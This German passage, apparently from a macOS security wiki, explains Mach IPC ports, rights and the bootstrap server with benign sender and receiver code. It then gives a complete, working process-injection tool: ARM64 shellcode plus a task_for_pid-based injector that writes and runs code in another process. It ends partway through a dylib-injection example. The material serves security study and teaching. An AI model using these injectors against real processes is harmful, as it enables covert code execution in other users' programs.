### Grundlegende Informationen
|
||||
|
||||
Mach verwendet **Tasks** als die **kleinste Einheit** zum Teilen von Ressourcen, und jede Task kann **mehrere Threads** enthalten. Diese **Tasks und Threads sind 1:1 auf POSIX-Prozesse und -Threads abgebildet**.
|
||||
|
||||
Die Kommunikation zwischen Tasks erfolgt über Mach Inter-Process Communication (IPC) und nutzt einseitige Kommunikationskanäle. **Nachrichten werden zwischen Ports übertragen**, die wie **Nachrichtenwarteschlangen** fungieren, die vom Kernel verwaltet werden.
|
||||
|
||||
Jeder Prozess hat eine **IPC-Tabelle**, in der die **Mach-Ports des Prozesses** zu finden sind. Der Name eines Mach-Ports ist tatsächlich eine Nummer (ein Zeiger auf das Kernel-Objekt).
|
||||
|
||||
Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Task** senden, und der Kernel wird diesen Eintrag in der **IPC-Tabelle der anderen Task** erscheinen lassen.
|
||||
|
||||
### Portrechte
|
||||
|
||||
Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Receive-Recht**, das das Empfangen von Nachrichten, die an den Port gesendet werden, erlaubt. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Receive-Recht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
|
||||
- Eine **Task mit dem Receive-Recht** kann Nachrichten empfangen und **Senderechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Receive-Recht über ihren Port**.
|
||||
- **Senderecht**, das das Senden von Nachrichten an den Port erlaubt.
|
||||
- Das Senderecht kann **kloniert** werden, sodass eine Task, die ein Senderecht besitzt, das Recht klonen und **einer dritten Task gewähren** kann.
|
||||
- **Send-once-Recht**, das das Senden einer Nachricht an den Port erlaubt und dann verschwindet.
|
||||
- **Port-Set-Recht**, das ein _Port-Set_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Port-Set dequeuert eine Nachricht aus einem der enthaltenen Ports. Port-Sets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
- **Toter Name**, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
|
||||
|
||||
**Tasks können SEND-Rechte an andere übertragen**, wodurch diese in der Lage sind, Nachrichten zurückzusenden. **SEND-Rechte können auch geklont werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
|
||||
|
||||
### Datei-Ports
|
||||
|
||||
Datei-Ports ermöglichen es, Dateideskriptoren in Mac-Ports (unter Verwendung von Mach-Port-Rechten) zu kapseln. Es ist möglich, einen `fileport` aus einem gegebenen FD mit `fileport_makeport` zu erstellen und einen FD aus einem fileport mit `fileport_makefd` zu erstellen.
|
||||
|
||||
### Etablierung einer Kommunikation
|
||||
|
||||
#### Schritte:
|
||||
|
||||
Wie bereits erwähnt, ist der **Bootstrap-Server** (**launchd** in mac) an der Etablierung des Kommunikationskanals beteiligt.
|
||||
|
||||
1. Task **A** initiiert einen **neuen Port** und erhält dabei ein **RECEIVE-Recht**.
|
||||
2. Task **A**, als Inhaber des RECEIVE-Rechts, **generiert ein SEND-Recht für den Port**.
|
||||
3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und gibt den **Servicenamen des Ports** sowie das **SEND-Recht** über ein Verfahren bekannt, das als Bootstrap-Registrierung bekannt ist.
|
||||
4. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Servicenamen** durchzuführen. Wenn erfolgreich, **dupliziert der Server das SEND-Recht**, das von Task A empfangen wurde, und **überträgt es an Task B**.
|
||||
5. Nach dem Erwerb eines SEND-Rechts ist Task **B** in der Lage, eine **Nachricht** zu **formulieren** und sie **an Task A** zu senden.
|
||||
6. Für eine bidirektionale Kommunikation generiert Task **B** normalerweise einen neuen Port mit einem **RECEIVE**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A** weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
|
||||
|
||||
Der Bootstrap-Server **kann den** vom Task beanspruchten Servicenamen **nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsservicenamen beansprucht** und dann jede Anfrage genehmigt.
|
||||
|
||||
Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Servicenamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **RECEIVE-Recht für jeden dieser Servicenamen** erstellen und halten.
|
||||
|
||||
Für diese vordefinierten Dienste unterscheidet sich der **Suchprozess leicht**. Wenn ein Servicename gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
|
||||
|
||||
- Task **B** initiiert eine Bootstrap-**Suche** nach einem Servicenamen.
|
||||
- **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie sie.
|
||||
- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** durch. Hier erstellt der **Bootstrap-Server ein SEND-Recht, behält es und überträgt das RECEIVE-Recht an Task A**.
|
||||
- launchd dupliziert das **SEND-Recht und sendet es an Task B**.
|
||||
- Task **B** generiert einen neuen Port mit einem **RECEIVE**-Recht und einem **SEND**-Recht und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
|
||||
|
||||
Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
|
||||
|
||||
### Eine Mach-Nachricht
|
||||
|
||||
[Weitere Informationen hier finden](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Die Funktion `mach_msg`, die im Wesentlichen ein Systemaufruf ist, wird verwendet, um Mach-Nachrichten zu senden und zu empfangen. Die Funktion erfordert, dass die zu sendende Nachricht als erstes Argument übergeben wird. Diese Nachricht muss mit einer `mach_msg_header_t`-Struktur beginnen, gefolgt vom eigentlichen Nachrichteninhalt. Die Struktur ist wie folgt definiert:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendern** ein _**send**_ oder ein _**send-once right**_ gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
|
||||
|
||||
Um eine einfache **bi-direktionale Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im Mach **Nachrichtenkopf** angeben, der als _reply port_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann. Die Bitflags in **`msgh_bits`** können verwendet werden, um anzuzeigen, dass ein **send-once** **right** für diesen Port abgeleitet und übertragen werden sollte (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass diese Art der bi-direktionalen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die bi-direktionale Kommunikation zu ermöglichen.
|
||||
|
||||
Die anderen Felder des Nachrichtenkopfes sind:
|
||||
|
||||
- `msgh_size`: die Größe des gesamten Pakets.
|
||||
- `msgh_remote_port`: der Port, über den diese Nachricht gesendet wird.
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
|
||||
- `msgh_id`: die ID dieser Nachricht, die vom Empfänger interpretiert wird.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass **mach-Nachrichten über einen \_mach port**\_ gesendet werden, der einen **einzelnen Empfänger**, **mehrere Sender** Kommunikationskanal darstellt, der im Mach-Kernel integriert ist. **Mehrere Prozesse** können **Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann nur **ein einzelner Prozess** von ihm lesen.
|
||||
|
||||
### Ports auflisten
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
Sie können dieses Tool auf iOS installieren, indem Sie es von [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) herunterladen.
|
||||
|
||||
### Codebeispiel
|
||||
|
||||
Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht zu senden**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Privilegierte Ports
|
||||
|
||||
- **Host-Port**: Wenn ein Prozess das **Send**-Recht über diesen Port hat, kann er **Informationen** über das **System** abrufen (z.B. `host_processor_info`).
|
||||
- **Host-Priv-Port**: Ein Prozess mit **Send**-Recht über diesen Port kann **privilegierte Aktionen** wie das Laden einer Kernel-Erweiterung durchführen. Der **Prozess muss root** sein, um diese Berechtigung zu erhalten.
|
||||
- Darüber hinaus ist es erforderlich, um die **`kext_request`** API aufzurufen, andere Berechtigungen **`com.apple.private.kext*`** zu haben, die nur Apple-Binärdateien gewährt werden.
|
||||
- **Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch nicht, sie zu steuern. Das einzige, was darüber verfügbar zu sein scheint, ist `task_info()`.
|
||||
- **Task-Port** (auch bekannt als Kernel-Port): Mit Send-Berechtigung über diesen Port ist es möglich, die Aufgabe zu steuern (Speicher lesen/schreiben, Threads erstellen...).
|
||||
- Rufen Sie `mach_task_self()` auf, um **den Namen** für diesen Port für die aufrufende Aufgabe zu erhalten. Dieser Port wird nur **vererbt** über **`exec()`**; eine neue Aufgabe, die mit `fork()` erstellt wird, erhält einen neuen Task-Port (als Sonderfall erhält eine Aufgabe auch einen neuen Task-Port nach `exec()` in einer suid-Binärdatei). Der einzige Weg, eine Aufgabe zu starten und ihren Port zu erhalten, besteht darin, den ["Port-Swap-Tanz"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) während eines `fork()` durchzuführen.
|
||||
- Dies sind die Einschränkungen für den Zugriff auf den Port (aus `macos_task_policy` der Binärdatei `AppleMobileFileIntegrity`):
|
||||
- Wenn die App die **`com.apple.security.get-task-allow`-Berechtigung** hat, können Prozesse vom **gleichen Benutzer auf den Task-Port** zugreifen (häufig von Xcode zum Debuggen hinzugefügt). Der **Notarisierungs**-Prozess erlaubt dies nicht für Produktionsversionen.
|
||||
- Apps mit der **`com.apple.system-task-ports`**-Berechtigung können den **Task-Port für jeden** Prozess abrufen, außer für den Kernel. In älteren Versionen wurde es **`task_for_pid-allow`** genannt. Dies wird nur Apple-Anwendungen gewährt.
|
||||
- **Root kann auf Task-Ports** von Anwendungen zugreifen, die **nicht** mit einer **gehärteten** Laufzeit (und nicht von Apple) kompiliert wurden.
|
||||
|
||||
### Shellcode-Injektion in den Thread über den Task-Port
|
||||
|
||||
Sie können einen Shellcode von:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Kompilieren** Sie das vorherige Programm und fügen Sie die **Berechtigungen** hinzu, um Code mit demselben Benutzer injizieren zu können (ansonsten müssen Sie **sudo** verwenden).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Dylib-Injektion in einem Thread über den Task-Port
|
||||
|
||||
In macOS können **Threads** über **Mach** oder die **posix `pthread` API** manipuliert werden. Der Thread, den wir in der vorherigen Injektion erzeugt haben, wurde mit der Mach-API erstellt, daher ist er **nicht posix-konform**.
|
||||
|
||||
Es war möglich, **einen einfachen Shellcode** zu injizieren, um einen Befehl auszuführen, da er **nicht mit posix** konformen APIs arbeiten musste, sondern nur mit Mach. **Komplexere Injektionen** würden erfordern, dass der **Thread** ebenfalls **posix-konform** ist.
|
||||
|
||||
Um den **Thread zu verbessern**, sollte er **`pthread_create_from_mach_thread`** aufrufen, was **einen gültigen pthread** erstellt. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
|
||||
|
||||
Sie finden **Beispiel-dylibs** in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dylib_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/error.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <pthread.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
//#include "mach/arm/thread_status.h"
|
||||
|
||||
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
||||
// And I say, bullshit.
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
|
||||
char injectedCode[] =
|
||||
|
||||
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
||||
|
||||
// Call pthread_set_self
|
||||
|
||||
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
||||
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
||||
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
||||
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
||||
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
||||
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
